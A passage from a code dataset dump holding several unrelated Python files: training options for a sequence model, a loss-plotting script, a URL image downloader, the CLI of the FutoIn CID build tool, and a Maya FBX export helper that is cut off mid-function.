are\n [std|input_feed|transformer|cnn].\"\"\")\n\n group.add_argument('-attn_type', type=str, default=None,\n choices=[\"dot\", \"general\", \"mlp\"],\n help=\"\"\"Type of attention layer to use.\n Options are[dot|general|mlp].\"\"\")\n \n # for vocabularies of the encoder and the decoder\n group.add_argument('-enc_numwords', type=int, default=None,\n help='Number of words in embedding of the encoder')\n group.add_argument('-enc_padding_idx', type=int, default=0,\n help='Number of words in embedding of the encoder')\n group.add_argument('-dec_numwords', type=int, default=None,\n help='Number of words in embedding of the encoder')\n group.add_argument('-dec_padding_idx', type=int, default=0,\n help='Number of words in embedding of the encoder')\n \n\n group.add_argument('-layers', type=int, default=-1,\n help='Number of layers in enc/dec.')\n group.add_argument('-enc_layers', type=int, default=2,\n help='Number of layers in the encoder')\n group.add_argument('-dec_layers', type=int, default=2,\n help='Number of layers in the encoder')\n group.add_argument('-hidden_size', type=int, default=500,\n help='Size of the model hidden states')\n group.add_argument('-filter_num', type=int, default=128,\n help='filter_num of CNN encoder')\n\n # \n group.add_argument('-rnn_type', type=str, default='LSTM',\n choices=['LSTM', 'GRU', 'SRU'],\n help=\"\"\"The gate type to use in the RNNs\"\"\")\n group.add_argument('-rnn_size', type=int, default=500,\n help='Size of rnn hidden states')\n \n group.add_argument('-brnn', action=DeprecateAction,\n help=\"Deprecated, use `encoder_type`.\")\n group.add_argument('-brnn_merge', default='concat',\n choices=['concat', 'sum'],\n help=\"Merge action for the bidir hidden states\")\n\ndef train_opts(parser):\n # Model loading/saving options\n group = parser.add_argument_group('General')\n group.add_argument('-data', required=True,\n help=\"\"\"Path prefix to the \".train.pt\" and\n \".valid.pt\" file path from preprocess.py\"\"\")\n\n group.add_argument('-save_model', default='model',\n help=\"\"\"Model filename (the model will be saved as\n _epochN_PPL.pt where PPL is the\n validation perplexity\"\"\")\n # GPU\n group.add_argument('-gpuid', default=[], nargs='+', type=int,\n help=\"Use CUDA on the listed devices.\")\n\n group.add_argument('-seed', type=int, default=-1,\n help=\"\"\"Random seed used for the experiments\n reproducibility.\"\"\")\n\n # Init options\n group = parser.add_argument_group('Initialization')\n group.add_argument('-start_epoch', type=int, default=1,\n help='The epoch from which to start')\n group.add_argument('-param_init', type=float, default=0.1,\n help=\"\"\"Parameters are initialized over uniform distribution\n with support (-param_init, param_init).\n Use 0 to not use initialization\"\"\")\n group.add_argument('-param_init_glorot', action='store_true',\n help=\"\"\"Init parameters with xavier_uniform.\n Required for transfomer.\"\"\")\n\n group.add_argument('-train_from', default='', type=str,\n help=\"\"\"If training from a checkpoint then this is the\n path to the pretrained model's state_dict.\"\"\")\n\n # Pretrained word vectors\n group.add_argument('-pre_word_vecs',\n help=\"\"\"If a valid path is specified, then this will load\n pretrained word embeddings on the encoder side.\n See README for specific formatting instructions.\"\"\")\n\n # Optimization options\n group = parser.add_argument_group('Optimization- Type')\n group.add_argument('-batch_size', type=int, default=64,\n help='Maximum batch size for training')\n group.add_argument('-batch_type', default='sents',\n choices=[\"sents\", \"tokens\"],\n help=\"\"\"Batch grouping for batch_size. Standard\n is sents. Tokens will do dynamic batching\"\"\")\n group.add_argument('-normalization', default='sents',\n choices=[\"sents\", \"tokens\"],\n help='Normalization method of the gradient.')\n group.add_argument('-accum_count', type=int, default=1,\n help=\"\"\"Accumulate gradient this many times.\n Approximately equivalent to updating\n batch_size * accum_count batches at once.\n Recommended for Transformer.\"\"\")\n group.add_argument('-valid_batch_size', type=int, default=32,\n help='Maximum batch size for validation')\n group.add_argument('-max_generator_batches', type=int, default=32,\n help=\"\"\"Maximum batches of words in a sequence to run\n the generator on in parallel. Higher is faster, but\n uses more memory.\"\"\")\n group.add_argument('-epochs', type=int, default=13,\n help='Number of training epochs')\n group.add_argument('-optim', default='sgd',\n choices=['sgd', 'adagrad', 'adadelta', 'adam',\n 'sparseadam'],\n help=\"\"\"Optimization method.\"\"\")\n group.add_argument('-adagrad_accumulator_init', type=float, default=0,\n help=\"\"\"Initializes the accumulator values in adagrad.\n Mirrors the initial_accumulator_value option\n in the tensorflow adagrad (use 0.1 for their default).\n \"\"\")\n group.add_argument('-max_grad_norm', type=float, default=5,\n help=\"\"\"If the norm of the gradient vector exceeds this,\n renormalize it to have the norm equal to\n max_grad_norm\"\"\")\n group.add_argument('-dropout', type=float, default=0.3,\n help=\"Dropout probability; applied in LSTM stacks.\")\n group.add_argument('-truncated_decoder', type=int, default=0,\n help=\"\"\"Truncated bptt.\"\"\")\n group.add_argument('-adam_beta1', type=float, default=0.9,\n help=\"\"\"The beta1 parameter used by Adam.\n Almost without exception a value of 0.9 is used in\n the literature, seemingly giving good results,\n so we would discourage changing this value from\n the default without due consideration.\"\"\")\n group.add_argument('-adam_beta2', type=float, default=0.999,\n help=\"\"\"The beta2 parameter used by Adam.\n Typically a value of 0.999 is recommended, as this is\n the value suggested by the original paper describing\n Adam, and is also the value adopted in other frameworks\n such as Tensorflow and Kerras, i.e. see:\n https://www.tensorflow.org/api_docs/python/tf/train/AdamOptimizer\n https://keras.io/optimizers/ .\n Whereas recently the paper \"Attention is All You Need\"\n suggested a value of 0.98 for beta2, this parameter may\n not work well for normal models / default\n baselines.\"\"\")\n group.add_argument('-label_smoothing', type=float, default=0.0,\n help=\"\"\"Label smoothing value epsilon.\n Probabilities of all non-true labels\n will be smoothed by epsilon / (vocab_size - 1).\n Set to zero to turn off label smoothing.\n For more detailed information, see:\n https://arxiv.org/abs/1512.00567\"\"\")\n # learning rate\n group = parser.add_argument_group('Optimization- Rate')\n group.add_argument('-learning_rate', type=float, default=1.0,\n help=\"\"\"Starting learning rate.\n Recommended settings: sgd = 1, adagrad = 0.1,\n adadelta = 1, adam = 0.001\"\"\")\n group.add_argument('-learning_rate_decay', type=float, default=0.5,\n help=\"\"\"If update_learning_rate, decay learning rate by\n this much if (i) perplexity does not decrease on the\n validation set or (ii) epoch has gone past\n start_decay_at\"\"\")\n group.add_argument('-start_decay_at', type=int, default=8,\n help=\"\"\"Start decaying every epoch after and including this\n epoch\"\"\")\n group.add_argument('-start_checkpoint_at', type=int, default=0,\n help=\"\"\"Start checkpointing every epoch after and including\n this epoch\"\"\")\n group.add_argument('-decay_method', type=str, default=\"\",\n choices=['noam'], help=\"Use a custom decay rate.\")\n group.add_argument('-warmup_steps', type=int, default=4000,\n help=\"\"\"Number of warmup steps for custom decay.\"\"\")\n\n group = parser.add_argument_group('Logging')\n group.add_argument('-report_every', type=int, default=50,\n help=\"Print stats at this interval.\")\n group.add_argument('-exp_host', type=str, default=\"\",\n help=\"Send logs to this crayon server.\")\n group.add_argument('-exp', type=str, default=\"\",\n help=\"Name of the experiment for logging.\")\n # Use TensorboardX for visualization during training\n group.add_argument('-tensorboard', action=\"store_true\",\n help=\"\"\"Use tensorboardX for visualization during training.\n Must have the library tensorboardX.\"\"\")\n group.add_argument(\"-tensorboard_log_dir\", type=str,\n default=\"runs/onmt\",\n help=\"\"\"Log directory for Tensorboard.\n This is also the name of the run.\n \"\"\")\n\n group = parser.add_argument_group('Speech')\n # Options most relevant to speech\n group.add_argument('-sample_rate', type=int, default=16000,\n help=\"Sample rate.\")\n group.add_argument('-window_size', type=float, default=.02,\n help=\"Window size for spectrogram in seconds.\")\ndef test_opts(parser):\n # \n group = parser.add_argument_group('Test Model')\n group.add_argument('-model_path', type=str,\n help=\"Path to the test source data\")\n group = parser.add_argument_group('Testing Data')\n group.add_argument('-test_corpus_path', nargs = '+',\n help=\"Path to the test source data\")\n group.add_argument('-test_output', type=str,\n help=\"Path to the test output data\")\n group.add_argument('-seq_len', type=int, default=30,\n help=\"Path to the test output data\")\n # beam \n group = parser.add_argument_group('Beam Parameters')\n group.add_argument('-beam_size', type=int, default=5,\n help=\"beam size \")\n group.add_argument('-n_best', type=int, default=5,\n help=\"n_best \")\n group.add_argument('-max_length', type=int, default=30,\n help=\"the max length of targets \")\n\ndef add_md_help_argument(parser):\n parser.add_argument('-md', action=MarkdownHelpAction,\n help='print Markdown-formatted help text and exit.')\n\n\n# MARKDOWN boilerplate\n\n# Copyright 2016 The Chromium Authors. All rights reserved.\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\nclass MarkdownHelpFormatter(argparse.HelpFormatter):\n \"\"\"A really bare-bones argparse help formatter that generates valid markdown.\n This will generate something like:\n usage\n # **section heading**:\n ## **--argument-one**\n ```\n argument-one help text\n ```\n \"\"\"\n\n def _format_usage(self, usage, actions, groups, prefix):\n return \"\"\n\n def format_help(self):\n print(self._prog)\n self._root_section.heading = '# Options: %s' % self._prog\n return super(MarkdownHelpFormatter, self).format_help()\n\n def start_section(self, heading):\n super(MarkdownHelpFormatter, self)\\\n .start_section('### **%s**' % heading)\n\n def _format_action(self, action):\n if action.dest == \"help\" or action.dest == \"md\":\n return \"\"\n lines = []\n lines.append('* **-%s %s** ' % (action.dest,\n \"[%s]\" % action.default\n if action.default else \"[]\"))\n if action.help:\n help_text = self._expand_help(action)\n lines.extend(self._split_lines(help_text, 80))\n lines.extend(['', ''])\n return '\\n'.join(lines)\n\n\nclass MarkdownHelpAction(argparse.Action):\n def __init__(self, option_strings,\n dest=argparse.SUPPRESS, default=argparse.SUPPRESS,\n **kwargs):\n super(MarkdownHelpAction, self).__init__(\n option_strings=option_strings,\n dest=dest,\n default=default,\n nargs=0,\n **kwargs)\n\n def __call__(self, parser, namespace, values, option_string=None):\n parser.formatter_class = MarkdownHelpFormatter\n parser.print_help()\n parser.exit()\n\n\nclass DeprecateAction(argparse.Action):\n def __init__(self, option_strings, dest, help=None, **kwargs):\n super(DeprecateAction, self).__init__(option_strings, dest, nargs=0,\n help=help, **kwargs)\n\n def __call__(self, parser, namespace, values, flag_name):\n help = self.help if self.help is not None else \"\"\n msg = \"Flag '%s' is deprecated. %s\" % (flag_name, help)\n raise argparse.ArgumentTypeError(msg)\n","sub_path":"modules/opts.py","file_name":"opts.py","file_ext":"py","file_size_in_byte":16262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"451023029","text":"import numpy as np\nimport pylab as pl \n\ndef process_txt( txt_path ) : \n\tf = open(txt_path, 'r')\n\tdata = f.read()\n\tdata = data.split('\\n')\n\tdata = data[1:-1]\n\t \n\t \n\n\tepoch = []\n\n\ttrain_loss = []\n\n\tvalid_loss = []\n\n\n\tfor i in range(len(data)):\n\t\t line = data[i].split('\\t')[1:]\n\t\t epoch.append( int(line[0]))\n\t\t train_loss.append(float(line[1]))\n\t\t valid_loss.append(float(line[2]))\n\n\treturn train_loss, valid_loss\n\ntxt_files = ['log_training_100.txt',\n\t\t\t 'log_training_200.txt',\n\t\t\t'log_training_300.txt',\n\t\t\t'log_training_400.txt',\n\t\t\t'log_training_500.txt']\n\nc = ['r', 'g', 'b', 'c', 'k']\n\nfor i in range(len(txt_files)) : \n\ttrain_loss, valid_loss = process_txt( txt_files[i] )\n\tl = txt_files[i].replace('log_training_','train : Hidden units = ').replace('.txt', '')\n\tpl.plot(train_loss, color = c[i], lw = 3, label = l)\n\tpl.plot(valid_loss, '--', color = c[i], lw = 3, label = l.replace('train', 'valid'))\n\npl.xlabel('Nb Epochs')\npl.ylabel('Reconstruction loss')\npl.legend(loc = 'best')\npl.grid('on')\npl.title('Hidden units influence on trainning, Batch size = 100')\npl.show()\n\n\n'''pl.plot(epoch, train_loss, '--r', lw = 3, label = 'Train loss, ||X - X\\'||')\npl.plot(epoch, valid_loss, '--b', lw = 3, label = 'Validation loss, ||X - X\\'||')\npl.xlabel('Nb Epochs')\npl.ylabel('||X - X\\'||')\npl.legend(loc = 'best')\npl.grid('on')\npl.title('Hidden units = 100, Learning rate = 0.001, 1-CD, batchsize = 100, validation ratio = 0.2, Validation Error = 43.99160')\npl.show()'''\n\n","sub_path":"Code/Hidden/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":1474,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"368715930","text":"# Author Ameet Toor\n# Date: 12/19/2016\n\n# This program will go through the given list of URL's of images and download all of the images as .jpg\n\nimport sys\nimport urllib\nimport time\nimport datetime\n\n\ndef grab_file_of_image_urls():\n if len(sys.argv) < 2:\n print('Start program like this: Python ImageDownloader.py ')\n print('example: Python ImageDownloader.py AnimalImageURLS.txt')\n else:\n file_of_image_urls = sys.argv[1]\n return file_of_image_urls\n\n\ndef get_list_of_url_names(file_name):\n print(\"Grabbing URLs from: \" + file_name)\n with open(file_name) as file_reader:\n lines = file_reader.read().splitlines()\n return lines\n\n\ndef wait_30_seconds():\n time.sleep(30)\n\n\ndef get_images(list_of_urls):\n count = 1\n num_of_urls = len(list_of_urls)\n name = 'Images/image' + str(count) + \".jpg\"\n for url_as_str in list_of_urls:\n # grab image\n try:\n urllib.urlretrieve(url_as_str, name)\n print(\"{0} out of {1} = {2}%, current time: {3}\".format(str(count), str(num_of_urls),\n str(((count + 0.0) / num_of_urls) * 100.0),\n str(datetime.datetime.now())))\n except IOError as e:\n print(\"error: \" + str(e))\n\n count += 1\n name = 'Images/image' + str(count) + \".jpg\"\n\n wait_30_seconds()\n\n\ndef main():\n name_of_file = grab_file_of_image_urls()\n list_of_urls = get_list_of_url_names(name_of_file)\n get_images(list_of_urls)\n\n\nif '__main__' == __name__:\n main()\n","sub_path":"ImageDownloader.py","file_name":"ImageDownloader.py","file_ext":"py","file_size_in_byte":1653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"93438966","text":"#!/usr/bin/env python\n\"\"\"FutoIn Continuous Integration & Delivery Tool.\n\nUsage:\n cid init [] [--vcsRepo=] [--rmsRepo=] [--permissive]\n cid tag [] [--vcsRepo=] [--wcDir=]\n cid prepare [] [--vcsRepo=] [--wcDir=]\n cid build [--debug]\n cid package\n cid check [--permissive]\n cid promote ... [--rmsRepo=]\n cid deploy vcstag [] [--vcsRepo=] [--redeploy] [--deployDir=] [--limit-memory=] [--limit-cpus=]\n cid deploy vcsref [--vcsRepo=] [--redeploy] [--deployDir=] [--limit-memory=] [--limit-cpus=]\n cid deploy [rms] [] [--rmsRepo=] [--redeploy] [--deployDir=] [--build] [--limit-memory=] [--limit-cpus=]\n cid migrate\n cid run\n cid run [...]\n cid ci_build [] [--vcsRepo=] [--rmsRepo=] [--permissive] [--debug] [--wcDir=]\n cid tool exec [] [-- ...]\n cid tool (install|uninstall|update|test|env) [ []]\n cid tool (prepare|build|check|package|migrate) []\n cid tool list\n cid tool describe \n cid tool detect\n cid vcs checkout [] [--vcsRepo=] [--wcDir=]\n cid vcs commit [...] [--wcDir=]\n cid vcs merge [--no-cleanup] [--wcDir=]\n cid vcs branch [--wcDir=]\n cid vcs delete [--vcsRepo=] [--cacheDir=] [--wcDir=]\n cid vcs export [--vcsRepo=] [--cacheDir=] [--wcDir=]\n cid vcs tags [] [--vcsRepo=] [--cacheDir=] [--wcDir=]\n cid vcs branches [] [--vcsRepo=] [--cacheDir=] [--wcDir=]\n cid vcs reset [--wcDir=]\n cid vcs ismerged [--wcDir=]\n cid rms list [] [--rmsRepo=]\n cid rms retrieve ... [--rmsRepo=]\n cid rms pool create [--rmsRepo=]\n cid rms pool list [--rmsRepo=]\n cid service run [--deployDir=] [--adapt] [--limit-memory=] [--limit-cpus=]\n cid service exec [--deployDir=]\n cid service stop [--deployDir=]\n cid service reload [--deployDir=]\n \n\nOptions:\n -h --help Show this screen.\n --vcsRepo= VCS repository URL in vcs_type:vcs_url format.\n --rmsRepo= RMS repository URL in rms_type:rms_url format.\n --wcDir= Working copy directory (project root).\n --rmsHash= Package hash for validation in hash_type:value format.\n --deployDir= Destination for deployment.\n --redeploy Force redeploy.\n --build Build during deploy.\n --permissive Ignore test failures.\n --debug Build in debug mode, if applicable.\n --cacheDir= Directory to hold VCS cache.\n --adapt Re-balance available resources before execution.\n --limit-memory= Limit allocated memory (B, K, M or G postfix is required).\n --limit-cpus= Limit CPU cores (affects instance count).\n Either \"dst_pool\" or \"src_pool:dst_pool\" for promotion.\n Either \"local/file\" or \"remote_file\" or \"@\".\n\"\"\"\n\nfrom __future__ import print_function, absolute_import\n\nfrom .cidtool import CIDTool\nfrom .coloring import Coloring\n\ntry:\n from docopt import docopt\nexcept ImportError:\n # fallback to \"hardcoded\"\n from futoin.cid.contrib.docopt import docopt\n\nimport os\nimport sys\nimport traceback\n\nif sys.version_info < (2, 7):\n print('Sorry, but only Python version >= 2.7 is supported!', file=sys.stderr)\n sys.exit(1)\n\nfrom . import __version__ as version\n__all__ = ['run']\n\n\ndef runInner():\n args = docopt(__doc__, version='FutoIn CID v{0}'.format(version))\n\n if type(args) == str:\n print(args)\n else:\n if 'CID_COLOR' in os.environ:\n Coloring.enable(os.environ['CID_COLOR'] == 'yes')\n\n overrides = {}\n #---\n vcsArg = args.get('--vcsRepo', None)\n\n if vcsArg:\n try:\n (overrides['vcs'],\n overrides['vcsRepo']) = vcsArg.split(':', 1)\n except ValueError:\n raise RuntimeError('Invalid argument to --vcsRepo')\n #---\n rmsArg = args.get('--rmsRepo', None)\n\n if rmsArg:\n try:\n (overrides['rms'],\n overrides['rmsRepo']) = rmsArg.split(':', 1)\n except ValueError:\n raise RuntimeError('Invalid argument to --rmsRepo')\n overrides['rmsPool'] = args['']\n\n #---\n if args['ci_build']:\n if 'vcs' in overrides:\n def_wc_dir = 'ci_build'\n else:\n def_wc_dir = os.path.join('..', 'ci_builds',\n os.path.basename(os.path.realpath('.')))\n def_wc_dir += '_' + args['']\n else:\n def_wc_dir = '.'\n overrides['wcDir'] = os.path.realpath(args['--wcDir'] or def_wc_dir)\n #--\n deploy_dir = args['--deployDir']\n overrides['deployDir'] = deploy_dir and os.path.realpath(\n deploy_dir) or None\n overrides['reDeploy'] = args['--redeploy'] and True or False\n\n if args['--build']:\n overrides['deployBuild'] = True\n\n if args['--debug']:\n overrides['debugBuild'] = True\n\n # enable vcsref & vcstag build by default\n if args['deploy'] and (args['vcsref'] or args['vcstag']):\n overrides['deployBuild'] = True\n\n #---\n overrides['vcsRef'] = args['']\n\n #---\n tool = args['']\n tool_ver = args['']\n overrides['tool'] = tool\n overrides['toolVer'] = tool_ver != '--' and tool_ver or None\n overrides['toolTest'] = (\n args['test'] or\n args['uninstall'] or\n args['describe'] or\n args['detect']\n )\n\n #---\n if args['--permissive']:\n overrides['permissiveChecks'] = True\n\n #---\n cache_dir = args['--cacheDir']\n\n if cache_dir:\n cache_dir = os.path.realpath(cache_dir)\n\n #---\n deploy = overrides.setdefault('_deploy', {})\n deploy['maxTotalMemory'] = args['--limit-memory']\n deploy['maxCpuCount'] = args['--limit-cpus']\n\n #---\n cit = CIDTool(overrides=overrides)\n\n if args['tool']:\n if args['exec']:\n cit.tool_exec(tool, args[''])\n elif args['list']:\n cit.tool_list()\n elif args['detect']:\n cit.tool_detect()\n else:\n subcmds = [\n 'install',\n 'uninstall',\n 'update',\n 'test',\n 'env',\n 'prepare',\n 'build',\n 'check',\n 'package',\n 'migrate',\n 'describe',\n ]\n for cmd in subcmds:\n if args[cmd]:\n getattr(cit, 'tool_' + cmd)(tool)\n break\n else:\n raise RuntimeError(\"Unknown Command\")\n elif args['vcs']:\n if args['checkout']:\n cit.vcs_checkout(args[''])\n elif args['commit']:\n cit.vcs_commit(args[''], args[''])\n elif args['branch']:\n cit.vcs_branch(args[''])\n elif args['merge']:\n cit.vcs_merge(args[''], not args['--no-cleanup'])\n elif args['delete']:\n cit.vcs_delete(args[''], cache_dir)\n elif args['export']:\n dst_dir = os.path.realpath(args[''])\n cit.vcs_export(args[''], dst_dir, cache_dir)\n elif args['tags']:\n cit.vcs_tags(args[''], cache_dir)\n elif args['branches']:\n cit.vcs_branches(args[''], cache_dir)\n elif args['reset']:\n cit.vcs_reset()\n elif args['ismerged']:\n cit.vcs_ismerged(args[''])\n else:\n raise RuntimeError(\"Not implemented yet.\")\n elif args['rms'] and not args['deploy']:\n if args['pool']:\n if args['create']:\n cit.rms_pool_create(args[''])\n elif args['list']:\n cit.rms_pool_list()\n else:\n raise RuntimeError(\"Not implemented yet.\")\n elif args['list']:\n cit.rms_list(args[''], args[''])\n elif args['retrieve']:\n cit.rms_retrieve(args[''], args[''])\n else:\n raise RuntimeError(\"Not implemented yet.\")\n elif args['init']:\n cit.init_project(args[''])\n elif args['tag']:\n cit.tag(args[''], args[''])\n elif args['prepare']:\n cit.prepare(args[''])\n elif args['build']:\n cit.build()\n elif args['package']:\n cit.package()\n elif args['check']:\n cit.check()\n elif args['promote']:\n cit.promote(args[''], args[''])\n elif args['deploy']:\n if args['vcsref']:\n cit.deploy('vcsref', args[''])\n elif args['vcstag']:\n cit.deploy('vcstag', args[''])\n else:\n cit.deploy('rms', args[''], args[''])\n elif args['migrate']:\n cit.migrate()\n elif args['run']:\n cit.run(args[''], args[''])\n elif args['ci_build']:\n cit.ci_build(args[''], args[''])\n else:\n raise RuntimeError(\"Unknown Command\")\n\n\ndef run():\n try:\n runInner()\n except Exception as e:\n print(file=sys.stderr)\n print(Coloring.error('ERROR: ' + str(e)), file=sys.stderr)\n print(file=sys.stderr)\n print(Coloring.warn(traceback.format_exc()), file=sys.stderr)\n sys.exit(1)\n except KeyboardInterrupt as e:\n print(file=sys.stderr)\n print(Coloring.error('Exit on user abort'), file=sys.stderr)\n print(file=sys.stderr)\n sys.exit(1)\n","sub_path":"futoin/cid/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":11393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"72376020","text":"\"\"\"\r\nHelpers for working with FBX export.\r\nAt least as of Maya 2018.4 all of the FBX options are a mish-mosh between MEL commands and MEL properties, so this helps organize them.\r\n\"\"\"\r\n\r\nimport maya.cmds as MCmds\r\nimport maya.mel as Mel\r\nimport os\r\nimport os.path as path\r\nimport U4_Utils\r\n\r\nclass U4_BaseFbx(object):\r\n\t\"\"\"\r\n\tBase for all FBX export setups. Ensures that all FBX configuration is done prior to export.\r\n\tChild classes can override what export values are set to.\r\n\t\"\"\"\r\n\tdef __init__(self):\r\n\t\tself._apply()\r\n\r\n\tdef shouldExportShapes(self):\r\n\t\treturn False\r\n\r\n\tdef shouldExportSkins(self):\r\n\t\treturn False\r\n\r\n\tdef shouldIncludeInputConnections(self):\r\n\t\treturn False\r\n\r\n\tdef shouldBakeAnimations(self):\r\n\t\treturn False\r\n\r\n\tdef _apply(self):\r\n\t\t\"\"\"\r\n\t\tCalled in constructor to apply fbx options.\r\n\t\t\"\"\"\r\n\r\n\t\t# Don't bother settings this to true for anim exports, it turns out it was borking the file. Took a while to track down!\r\n\t\tMel.eval(\"FBXExportAnimationOnly -v false\")\r\n\r\n\t\t# Eliminates unchanging keys if enabled, but we aren't concerned about .fbx file size.\r\n\t\tMel.eval(\"FBXExportApplyConstantKeyReducer -v false\")\r\n\r\n\t\t# Helpful to have the log for debugging.\r\n\t\tMel.eval(\"FBXExportGenerateLog -v true\")\r\n\r\n\t\tMel.eval(\"FBXExportHardEdges -v false\") # Unreal handles split\r\n\r\n\t\tMel.eval(\"FBXExportInstances -v false\")\r\n\r\n\t\tMel.eval(\"FBXExportScaleFactor 1.0\")\r\n\r\n\t\tMel.eval(\"FBXExportCameras -v false\") # UE doesn't import cameras\r\n\t\tMel.eval(\"FBXExportConstraints -v false\") # UE doesn't import constraints\r\n\r\n\t\t# Which linear units to use? Unreal considers their units centimeters.\r\n\t\tMel.eval(\"FBXExportConvertUnitString cm\")\r\n\r\n\t\t# Save textures alongside .fbx? Unreal's material import is not worth using.\r\n\t\tMel.eval(\"FBXExportEmbeddedTextures -v false\")\r\n\r\n\t\t# Which version of the FBX plugin to use?\r\n\t\t# Unreal currently supports 2016.\r\n\t\tMel.eval(\"FBXExportFileVersion -v FBX201600\")\r\n\r\n\t\t# Export as text? Otherwise binary.\r\n\t\t# We won't manually modify the file, so we stick with binary.\r\n\t\tMel.eval(\"FBXExportInAscii -v false\")\r\n\r\n\t\t# Should node inputs be included? True for skeletal meshes because they need their skinClusters.\r\n\t\tMel.eval(\"FBXExportInputConnections -v %s\" % (\"true\" if self.shouldIncludeInputConnections() else \"false\"))\r\n\r\n\t\t# Include lights? Unreal doesn't import them.\r\n\t\tMel.eval(\"FBXExportLights -v false\")\r\n\r\n\t\t# Unreal prefers this to be quaternion.\r\n\t\tMel.eval(\"FBXExportQuaternion -v quaternion\")\r\n\r\n\t\t# Export FBIK/HumanIK which MotionBuilder supports?\r\n\t\t# We're not using them, and Unreal doesn't support them.\r\n\t\tMel.eval(\"FBXExportSkeletonDefinitions -v false\")\r\n\r\n\t\tMel.eval(\"FBXExportSmoothingGroups -v true\") # UE requests smoothing groups\r\n\r\n\t\t# Export the subdivided preview mesh? We don't want or use it.\r\n\t\tMel.eval(\"FBXExportSmoothMesh -v false\")\r\n\r\n\t\t# Export mesh tangents along with normals? Unreal can recreate them just fine.\r\n\t\tMel.eval(\"FBXExportTangents -v false\")\r\n\r\n\t\t# Ideally we triangulate in Maya so that what we see is what we'll get in Unreal,\r\n\t\t# however after upgrading to Unreal 4.22.1 there seems to be an issue with the vertex\r\n\t\t# color order when this option is enabled.\r\n\t\tMel.eval(\"FBXExportTriangulate -v false\")\r\n\r\n\t\t# Unreal is Z up.\r\n\t\tMel.eval(\"FBXExportUpAxis z\")\r\n\r\n\t\t# Key every joint on every frame? Important so that the animation looks the same in Unreal.\r\n\t\tMel.eval(\"FBXExportBakeComplexAnimation -v %s\" % (\"true\" if self.shouldBakeAnimations() else \"false\"))\r\n\r\n\t\t# Bake even supported animation elements. (By default only unsupported constraints are baked.)\r\n\t\tMel.eval(\"FBXExportBakeResampleAnimation -v %s\" % (\"true\" if self.shouldBakeAnimations() else \"false\"))\r\n\r\n\t\t# Bake every frame. e.g. 2 would bake every 2nd frame\r\n\t\tMel.eval(\"FBXExportBakeComplexStep -v 1\")\r\n\r\n\t\t# Export skeletal mesh skinning information?\r\n\t\tMel.eval(\"FBXExportShapes -v %s\" % (\"true\" if self.shouldExportShapes() else \"false\"))\r\n\r\n\t\t# Export skeletal mesh skinning information?\r\n\t\tMel.eval(\"FBXExportSkins -v %s\" % (\"true\" if self.shouldExportSkins() else \"false\"))\r\n\r\n\t\t########################################################################################\r\n\t\t# Using FBXExport commands is prefered, but commands for some properties do not exist.\r\n\t\t# Use the FBXProperties command to find all possible properties.\r\n\t\t########################################################################################\r\n\r\n\t\t# We intend to bake complex animation, so we don't need a warning.\r\n\t\tMel.eval(\"FBXProperty Export|IncludeGrp|Animation|BakeComplexAnimation|HideComplexAnimationBakedWarning -v true\")\r\n\r\n\t\t# For rigs it's important that only the result joints are exported, and not any child controls.\r\n\t\tMel.eval(\"FBXProperty Export|IncludeGrp|InputConnectionsGrp|IncludeChildren -v false\")\r\n\r\n\tdef getExportPath(self, suffix = \"\"):\r\n\t\t\"\"\"\r\n\t\tGet path to .fbx file to save.\r\n\t\te.g. c:\\test_src.ma + _suffix = c:\\test_suffix.fbx\r\n\t\t@param suffix: Inserted between scene file name and fbx extension.\r\n\t\t@returns (directory path, file name)\r\n\t\t\"\"\"\r\n\t\tfile = U4_Utils.getNeighborFilePath(suffix, \".fbx\")\r\n\t\treturn (file.dir, file.name)\r\n\r\n\tdef _canExport(self, nodesList):\r\n\t\treturn True\r\n\r\n\tdef export(self, nodesList, absolutePath = None, suffix = \"\"):\r\n\t\t\"\"\"\r\n\t\tExport specific nodes to .fbx file.\r\n\t\t@param nodesList: Array of nodes to include.\r\n\t\t@param suffix: Inserted between the scene file and fbx extension.\r\n\t\t\"\"\"\r\n\t\tif not nodesList or len(nodesList) < 1:\r\n\t\t\traise ValueError(\"nodesList cannot be empty\")\r\n\r\n\t\tif not self._canExport(nodesList):\r\n\t\t\treturn False\r\n\r\n\t\tsavedSelection = MCmds.ls(selection = True)\r\n\r\n\t\tif not absolutePath:\r\n\t\t\texportPath = self.getExportPath(suffix = suffix)\r\n\t\t\tif exportPath:\r\n\t\t\t\tabsolutePath = exportPath[0] + \"/\" + exportPath[1]\r\n\r\n\t\tif absolutePath:\r\n\t\t\tif not absolutePath.endswith(\".fbx\"):\r\n\t\t\t\traise ValueError(\"Path '%s' should end with .fbx\" % absolutePath)\r\n\r\n\t\t\tdirectory = path.dirname(absolutePath)\r\n\t\t\tif not path.exists(directory):\r\n\t\t\t\tos.makedirs(directory)\r\n\r\n\t\t\tMCmds.select(nodesList)\r\n\t\t\tprint(\"Exported %s node(s) to %s:\" % (len(nodesList), absolutePath))\r\n\t\t\tfor node in nodesList:\r\n\t\t\t\tprint(\"\\t%s\" % node)\r\n\t\t\tMel.eval(\"FBXExport -f \\\"%s\\\" -s\" % absolutePath)\r\n\t\telse:\r\n\t\t\tMCmds.error(\"Cannot export without saving scene!\")\r\n\r\n\t\tMCmds.select(savedSelection)\r\n\r\nclass U4_MeshFbxBase(U4_BaseFbx):\r\n\tdef shouldExportShapes(self):\r\n\t\treturn True\r\n\r\nclass U4_StaticMeshFbx(U4_MeshFbxBase):\r\n\tpass\r\n\r\nclass U4_SkeletalMeshFbx(U4_MeshFbxBase):\r\n\tdef shouldExportSkins(self):\r\n\t\treturn True\r\n\r\n\tdef _canExport(self, nodesList):\r\n\t\t# Unreal won't import the mesh if we have non-deformer history leftover,\r\n\t\t# and this has caused plenty of confusion trying to figure out why it's\r\n\t\t# silently failing, so this checks that all non-deformers are baked.\r\n\t\tfor node in nodesList:\r\n\t\t\tif MCmds.objectType(node, isType = \"joint\"):\r\n\t\t\t\tcontinue # Joint has no shape history so bakePartialHistory would raise an exception.\r\n\r\n\t\t\tnonDeformerHistory = MCmds.bakePartialHistory(node, query = True, prePostDeformers = True)\r\n\t\t\tfor history in 